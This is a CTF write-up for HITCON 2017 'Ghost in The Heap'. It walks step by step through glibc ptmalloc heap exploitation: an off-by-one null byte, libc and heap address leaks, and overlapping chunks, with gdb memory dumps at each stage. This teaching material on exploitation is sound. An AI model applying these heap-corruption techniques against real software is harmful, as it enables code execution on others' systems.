HITCON 2017 CTF Quals Ghost in The Heap

Introduction

I think this is a challenge worthy to be the last challenge in my CTF tutorial challenges. In this challenge, the author demonstrates the art of manoeuvring chunks of ptmalloc. Under the strict limitations on the number and size of available chunks, it is still possible to create overlapping chunks in the end. Besides this, the FSOP (File Stream Oriented Programming) used in this challenge makes many dead techniques back to life.
I write my exploit under the instructions in [1]. In this post, I will try to give more details on heap manipulation. More detail on FSOP will be given in my tutorial lectures.

Vulnerability Analysis

The vulnerability exists in the New heap function, where the size of each allocated heap is 0xa8.

scanf("%168s", heapList[i]);

In the scanf function, the terminating byte will overwrite the meta data of next chunk when inputting a buffer of size 0xa8 .
In this challenge, we are only allowed to allocate 3 heaps and one ghost. So how to leak the heap address and libc address is not that easy as before.

Exploitation Plan

The exploitation plan is straight to see but hard to achieve.
(1) Leak the base address of libc
(2) Leak the heap address
(3) Create overlapping chunk and trigger unsorted bin attack
(4) Use FSOP to overwrite __malloc_hook and trigger malloc.

Leak base address of libc

Step 1:
Allocate Heap0 and Heap1, then free Heap1. The value of unsorted bin is left in memory. Allocate one ghost and read the leak value.

Heap List:
0x55a7e9caa050:	0x0000000000000000	0x000055a7eadf50c0
0x55a7e9caa060:	0x0000000000000000	0x0000000000000000

Memory Layout:
0x55a7eadf5000:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5010:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5020:	0x0000000000000000	0x0000000000000000
0x55a7eadf5030:	0x0000000000000000	0x0000000000000000
0x55a7eadf5040:	0x0000000000000000	0x0000000000000000
0x55a7eadf5050:	0x0000000000000000	0x0000000000000000
0x55a7eadf5060:	0x0000000000000000	0x0000000000000000
0x55a7eadf5070:	0x0000000000000000	0x0000000000000000
0x55a7eadf5080:	0x0000000000000000	0x0000000000000000
0x55a7eadf5090:	0x0000000000000000	0x0000000000000000
0x55a7eadf50a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50b0:	0x00000000000000b0	0x00000000000000b0
0x55a7eadf50c0:	0x6262626262626262	0x6262626262626262
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000000
0x55a7eadf5110:	0x0000000000000000	0x0000000000000000
0x55a7eadf5120:	0x0000000000000000	0x0000000000000000
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000000	0x0000000000020ea1

Leak the value of heap

Since the size of ghost is 0x60 and ghost can only be allocated once, we cannot expect ghost in fast bin to leak the value of heap. It mean that we need to manage to put the a chunk of size 0x60 in unsorted bin. So this step turns to be how to make a chunk of size 0x60 exist in unsorted bin. The answer is to split a large chunk and insert the remaining part back into unsorted bin.
Step 1:
Allocate ghost, Allocate Heap0, Heap1, Heap2. Delete ghost, Heap0, Heap2. When deleting Heap0, the deleted ghost chunk will be merged with Heap0 in unsorted bin.

//Heap List:
0x55a7e9caa050:	0x0000000000000000	0x000055a7eadf5120
0x55a7e9caa060:	0x0000000000000000	0x0000000000000000

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x0000000000000111
0x55a7eadf5010:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5020:	0x0000000000000000	0x0000000000000000
0x55a7eadf5030:	0x0000000000000000	0x0000000000000000
0x55a7eadf5040:	0x0000000000000000	0x0000000000000000
0x55a7eadf5050:	0x0000000000000000	0x0000000000000001
0x55a7eadf5060:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5070:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5080:	0x0000000000000000	0x0000000000000000
0x55a7eadf5090:	0x0000000000000000	0x0000000000000000
0x55a7eadf50a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50b0:	0x0000000000000050	0x00000000000000b0
0x55a7eadf50c0:	0x6262626262626262	0x6262626262626262
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000000
0x55a7eadf5110:	0x0000000000000110	0x00000000000000b0
0x55a7eadf5120:	0x6666666666666666	0x6666666666666666
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000000	0x0000000000020ea1
0x55a7eadf5170:	0x0000000000000000	0x0000000000000000
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51c0:	0x0000000000000000	0x0000000000020e41
0x55a7eadf51d0:	0x6767676767676767	0x6767676767676767

//Heap State:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf51c0
0x7f7749d15b60:	0x000055a7eadf5060	0x000055a7eadf5000
0x7f7749d15b70:	0x000055a7eadf5000	0x00007f7749d15b68
0x7f7749d15b80:	0x00007f7749d15b68	0x00007f7749d15b78

Step 2:
Allocate Heap0 and Heap2. After splitting the unsorted bin chunk of size 0x110, the remaining part of size 0x60 will be inserted into small bin.

//Heap List:
0x55a7e9caa050:	0x000055a7eadf5010	0x000055a7eadf5120
0x55a7e9caa060:	0x000055a7eadf51d0	0x0000000000000000

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5010:	0x00007f7749d10068	0x00007f7749d15c58
0x55a7eadf5020:	0x0000000000000000	0x0000000000000000
0x55a7eadf5030:	0x0000000000000000	0x0000000000000000
0x55a7eadf5040:	0x0000000000000000	0x0000000000000000
0x55a7eadf5050:	0x0000000000000000	0x0000000000000001
0x55a7eadf5060:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5070:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5080:	0x0000000000000000	0x0000000000000000
0x55a7eadf5090:	0x0000000000000000	0x0000000000000000
0x55a7eadf50a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50b0:	0x0000000000000050	0x0000000000000061
0x55a7eadf50c0:	0x00007f7749d15ba8	0x00007f7749d15ba8
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000000
0x55a7eadf5110:	0x0000000000000060	0x00000000000000b0
0x55a7eadf5120:	0x6666666666666666	0x6666666666666666
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000000	0x0000000000020ea1
0x55a7eadf5170:	0x0000000000000000	0x0000000000000000
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51c0:	0x0000000000000000	0x00000000000000b1
0x55a7eadf51d0:	0x6767676767670069	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x0000000000000000	0x0000000000020d91

//Heap State
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf5270
0x7f7749d15b60:	0x000055a7eadf50b0	0x00007f7749d15b58
0x7f7749d15b70:	0x00007f7749d15b58	0x00007f7749d15b68
0x7f7749d15b80:	0x00007f7749d15b68	0x00007f7749d15b78
0x7f7749d15b90:	0x00007f7749d15b78	0x00007f7749d15b88
0x7f7749d15ba0:	0x00007f7749d15b88	0x00007f7749d15b98
0x7f7749d15bb0:	0x00007f7749d15b98	0x000055a7eadf50b0
0x7f7749d15bc0:	0x000055a7eadf50b0	0x00007f7749d15bb8

Step 3:
Delete Heap1, the deleted chunk will be merged with adjacent previous chunk and the merged chunk will be inserted into unsorted bin.

//Heap List:
0x55a7e9caa050:	0x000055a7eadf5010	0x0000000000000000
0x55a7e9caa060:	0x000055a7eadf51d0	0x0000000000000000

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5010:	0x00007f7749d10068	0x00007f7749d15c58
0x55a7eadf5020:	0x0000000000000000	0x0000000000000000
0x55a7eadf5030:	0x0000000000000000	0x0000000000000000
0x55a7eadf5040:	0x0000000000000000	0x0000000000000000
0x55a7eadf5050:	0x0000000000000000	0x0000000000000001
0x55a7eadf5060:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5070:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5080:	0x0000000000000000	0x0000000000000000
0x55a7eadf5090:	0x0000000000000000	0x0000000000000000
0x55a7eadf50a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50b0:	0x0000000000000050	0x0000000000000111
0x55a7eadf50c0:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000000
0x55a7eadf5110:	0x0000000000000060	0x00000000000000b0
0x55a7eadf5120:	0x6666666666666666	0x6666666666666666
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000000	0x0000000000020ea1
0x55a7eadf5170:	0x0000000000000000	0x0000000000000000
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51c0:	0x0000000000000110	0x00000000000000b0
0x55a7eadf51d0:	0x6767676767670069	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x0000000000000000	0x0000000000020d91

//Heap State:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf5270
0x7f7749d15b60:	0x000055a7eadf50b0	0x000055a7eadf50b0
0x7f7749d15b70:	0x000055a7eadf50b0	0x00007f7749d15b68
0x7f7749d15b80:	0x00007f7749d15b68	0x00007f7749d15b78
0x7f7749d15b90:	0x00007f7749d15b78	0x00007f7749d15b88

Step 4:
Allocate Heap1, delete Heap0. After this step, we can see that now there are two linked chunks in unsorted bin. One is of size 0xb0. The second one is of size 0x60, whose BK pointer is pointing to the first. So next step to allocate a ghost and read the value.

//Heap List:
0x55a7e9caa050:	0x0000000000000000	0x000055a7eadf50c0
0x55a7e9caa060:	0x000055a7eadf51d0	0x0000000000000000

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5010:	0x000055a7eadf5160	0x00007f7749d15b58
0x55a7eadf5020:	0x0000000000000000	0x0000000000000000
0x55a7eadf5030:	0x0000000000000000	0x0000000000000000
0x55a7eadf5040:	0x0000000000000000	0x0000000000000000
0x55a7eadf5050:	0x0000000000000000	0x0000000000000001
0x55a7eadf5060:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5070:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5080:	0x0000000000000000	0x0000000000000000
0x55a7eadf5090:	0x0000000000000000	0x0000000000000000
0x55a7eadf50a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50b0:	0x00000000000000b0	0x00000000000000b0
0x55a7eadf50c0:	0x00007f7749d1006a	0x00007f7749d15b58
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000000
0x55a7eadf5110:	0x0000000000000060	0x00000000000000b0
0x55a7eadf5120:	0x6666666666666666	0x6666666666666666
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000000	0x0000000000000061
0x55a7eadf5170:	0x00007f7749d15b58	0x000055a7eadf5000
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51c0:	0x0000000000000060	0x00000000000000b0
0x55a7eadf51d0:	0x6767676767670069	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x0000000000000000	0x0000000000020d91

//Heap State:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf5270
0x7f7749d15b60:	0x000055a7eadf5160	0x000055a7eadf5000
0x7f7749d15b70:	0x000055a7eadf5160	0x00007f7749d15b68
0x7f7749d15b80:	0x00007f7749d15b68	0x00007f7749d15b78

Chunk Overlapping

To create a overlapping chunk, we need to clean the heap state first. So free the ghost and heap in an descending order.
To get overlapping in the end, let’s think over what we have at present. As analysed earlier, there is only one off-by-one vulnerability, which can only set one-byte value to zero. So our first step is to shrink the chunk size. To avoid getting a 0 size chunk, we have to merge a chunk with a ghost first and then trigger the vulnerability.
Step 1:
Allocate Heap0, ghost, Heap1, Heap2. Then delete Heap0, ghost and heap2. After this step, a chunk of size 0x110 will be inserted into unsorted bin.

//Heap List:
0x55a7e9caa050:	0x0000000000000000	0x000055a7eadf5120
0x55a7e9caa060:	0x0000000000000000	0x0000000000000000

//Heap Layout:
0x55a7eadf5010:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5020:	0x0000000000000000	0x0000000000000000
0x55a7eadf5030:	0x0000000000000000	0x0000000000000000
0x55a7eadf5040:	0x0000000000000000	0x0000000000000000
0x55a7eadf5050:	0x0000000000000000	0x0000000000000001
0x55a7eadf5060:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5070:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5080:	0x0000000000000000	0x0000000000000000
0x55a7eadf5090:	0x0000000000000000	0x0000000000000000
0x55a7eadf50a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50b0:	0x00000000000000b0	0x0000000000000060
0x55a7eadf50c0:	0x0000000000000000	0x00007f7749d15b58
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000001
0x55a7eadf5110:	0x0000000000000110	0x00000000000000b0
0x55a7eadf5120:	0x666666666666006c	0x6666666666666666
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000160	0x0000000000000060
0x55a7eadf5170:	0x0000000000000000	0x000055a7eadf506b
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000000	0x0000000000000001
0x55a7eadf51c0:	0x0000000000000060	0x0000000000020e41
0x55a7eadf51d0:	0x676767676767006d	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x0000000000000000	0x0000000000020d91

//Heap State:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf51c0
0x7f7749d15b60:	0x000055a7eadf5160	0x000055a7eadf5000
0x7f7749d15b70:	0x000055a7eadf5000	0x00007f7749d15b68
0x7f7749d15b80:	0x00007f7749d15b68	0x00007f7749d15b78

Step 2:
Allocate Heap0, Heap2. Then delete Heap0, Heap1. After this step, a chunk of 0x1c0 will be inserted into unsorted bin.

//Heap List:
0x55a7e9caa050:	0x0000000000000000	0x0000000000000000
0x55a7e9caa060:	0x000055a7eadf51d0	0x0000000000000000

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x00000000000001c1
0x55a7eadf5010:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5020:	0x0000000000000000	0x0000000000000000
0x55a7eadf5030:	0x0000000000000000	0x0000000000000000
0x55a7eadf5040:	0x0000000000000000	0x0000000000000000
0x55a7eadf5050:	0x0000000000000000	0x0000000000000001
0x55a7eadf5060:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5070:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5080:	0x0000000000000000	0x0000000000000000
0x55a7eadf5090:	0x0000000000000000	0x0000000000000000
0x55a7eadf50a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50b0:	0x00000000000000b0	0x0000000000000061
0x55a7eadf50c0:	0x00007f7749d15ba8	0x00007f7749d15ba8
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000001
0x55a7eadf5110:	0x0000000000000110	0x00000000000000b0
0x55a7eadf5120:	0x666666666666006c	0x6666666666666666
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000160	0x0000000000000060
0x55a7eadf5170:	0x0000000000000000	0x000055a7eadf506b
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000000	0x0000000000000001
0x55a7eadf51c0:	0x00000000000001c0	0x00000000000000b0
0x55a7eadf51d0:	0x676767676767006f	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x0000000000000000	0x0000000000020d91

//Heap State:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf5270
0x7f7749d15b60:	0x000055a7eadf50b0	0x000055a7eadf5000
0x7f7749d15b70:	0x000055a7eadf5000	0x00007f7749d15b68

Step 3:
Allocate a heap and write 168-bytes data to trigger the vulnerability

//Heap List:
0x55a7e9caa050:	0x000055a7eadf5010	0x0000000000000000
0x55a7e9caa060:	0x000055a7eadf51d0	0x0000000000000000

//Heap Layout:
0x55a7eadf5000:	0x0000000000000000	0x00000000000000b1
0x55a7eadf5010:	0x7070707070707070	0x7070707070707070
0x55a7eadf5020:	0x7070707070707070	0x7070707070707070
0x55a7eadf5030:	0x7070707070707070	0x7070707070707070
0x55a7eadf5040:	0x7070707070707070	0x7070707070707070
0x55a7eadf5050:	0x7070707070707070	0x7070707070707070
0x55a7eadf5060:	0x7070707070707070	0x7070707070707070
0x55a7eadf5070:	0x7070707070707070	0x7070707070707070
0x55a7eadf5080:	0x7070707070707070	0x7070707070707070
0x55a7eadf5090:	0x7070707070707070	0x7070707070707070
0x55a7eadf50a0:	0x7070707070707070	0x7070707070707070
0x55a7eadf50b0:	0x7070707070707070	0x0000000000000100<= size 0x110 was overwritten with 0x100
0x55a7eadf50c0:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000001
0x55a7eadf5110:	0x0000000000000110	0x00000000000000b0
0x55a7eadf5120:	0x666666666666006c	0x6666666666666666
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000160	0x0000000000000060
0x55a7eadf5170:	0x0000000000000000	0x000055a7eadf506b
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000000	0x0000000000000001
0x55a7eadf51c0:	0x0000000000000110	0x00000000000000b0
0x55a7eadf51d0:	0x676767676767006f	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x0000000000000000	0x0000000000020d91

//Heap State:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf5270
0x7f7749d15b60:	0x000055a7eadf50b0	0x000055a7eadf50b0
0x7f7749d15b70:	0x000055a7eadf50b0	0x00007f7749d15b68

Step 4:
Allocate Heap1, delete Heap1, Heap0, allocate a ghost. Use ghost to craft a fake chunk at 0x55a7eadf5000.

//Heap List:
0x55a7e9caa050:	0x0000000000000000	0x0000000000000000
0x55a7e9caa060:	0x000055a7eadf51d0	0x000055a7eadf5010

//Heap layout:
0x55a7eadf5000:	0x0000000000000000	0x0000000000000061
0x55a7eadf5010:	0x000055a7eadf50b0	0x000055a7eadf50b0
0x55a7eadf5020:	0x7070707070707070	0x7070707070707070
0x55a7eadf5030:	0x7070707070707070	0x7070707070707070
0x55a7eadf5040:	0x7070707070707070	0x7070707070707070
0x55a7eadf5050:	0x7070707070707070	0x0000000000000001
0x55a7eadf5060:	0x7070707070707070	0x0000000000000101
0x55a7eadf5070:	0x00007f7749d15b58	0x00007f7749d15b58
0x55a7eadf5080:	0x7070707070707070	0x7070707070707070
0x55a7eadf5090:	0x7070707070707070	0x7070707070707070
0x55a7eadf50a0:	0x7070707070707070	0x7070707070707070
0x55a7eadf50b0:	0x7070707070707070	0x00000000000000b1
0x55a7eadf50c0:	0x000055a7eadf5160	0x00007f7749d15b58
0x55a7eadf50d0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf50f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5100:	0x0000000000000000	0x0000000000000001
0x55a7eadf5110:	0x0000000000000110	0x00000000000000b0
0x55a7eadf5120:	0x666666666666006c	0x6666666666666666
0x55a7eadf5130:	0x0000000000000000	0x0000000000000000
0x55a7eadf5140:	0x0000000000000000	0x0000000000000000
0x55a7eadf5150:	0x0000000000000000	0x0000000000000000
0x55a7eadf5160:	0x0000000000000100	0x0000000000000050
0x55a7eadf5170:	0x00007f7749d15b98	0x00007f7749d15b98
0x55a7eadf5180:	0x0000000000000000	0x0000000000000000
0x55a7eadf5190:	0x0000000000000000	0x0000000000000000
0x55a7eadf51a0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51b0:	0x0000000000000050	0x0000000000000001<=HOLE!!!
0x55a7eadf51c0:	0x0000000000000110	0x00000000000000b0
0x55a7eadf51d0:	0x676767676767006f	0x6767676767676767
0x55a7eadf51e0:	0x0000000000000000	0x0000000000000000
0x55a7eadf51f0:	0x0000000000000000	0x0000000000000000
0x55a7eadf5200:	0x0000000000000000	0x0000000000000000
0x55a7eadf5210:	0x0000000000000000	0x0000000000000000
0x55a7eadf5220:	0x0000000000000000	0x0000000000000000
0x55a7eadf5230:	0x0000000000000000	0x0000000000000000
0x55a7eadf5240:	0x0000000000000000	0x0000000000000000
0x55a7eadf5250:	0x0000000000000000	0x0000000000000000
0x55a7eadf5260:	0x0000000000000000	0x0000000000000000
0x55a7eadf5270:	0x0000000000000000	0x0000000000020d91

//Heap State:
0x7f7749d15b00:	0x0000000100000000	0x0000000000000000
0x7f7749d15b10:	0x0000000000000000	0x0000000000000000
0x7f7749d15b20:	0x0000000000000000	0x0000000000000000
0x7f7749d15b30:	0x0000000000000000	0x0000000000000000
0x7f7749d15b40:	0x0000000000000000	0x0000000000000000
0x7f7749d15b50:	0x0000000000000000	0x000055a7eadf5270
0x7f7749d15b60:	0x000055a7eadf5060	0x000055a7eadf5060
0x7f7749d15b70:	0x000055a7eadf5060	0x00007f7749d15b68
0x7f7749d15b80:	0x00007f7749d15b68	0x00007f7749d15b78
0x7f7749d15b90:	0x00007f7749d15b78	0x00007f7749d15b88
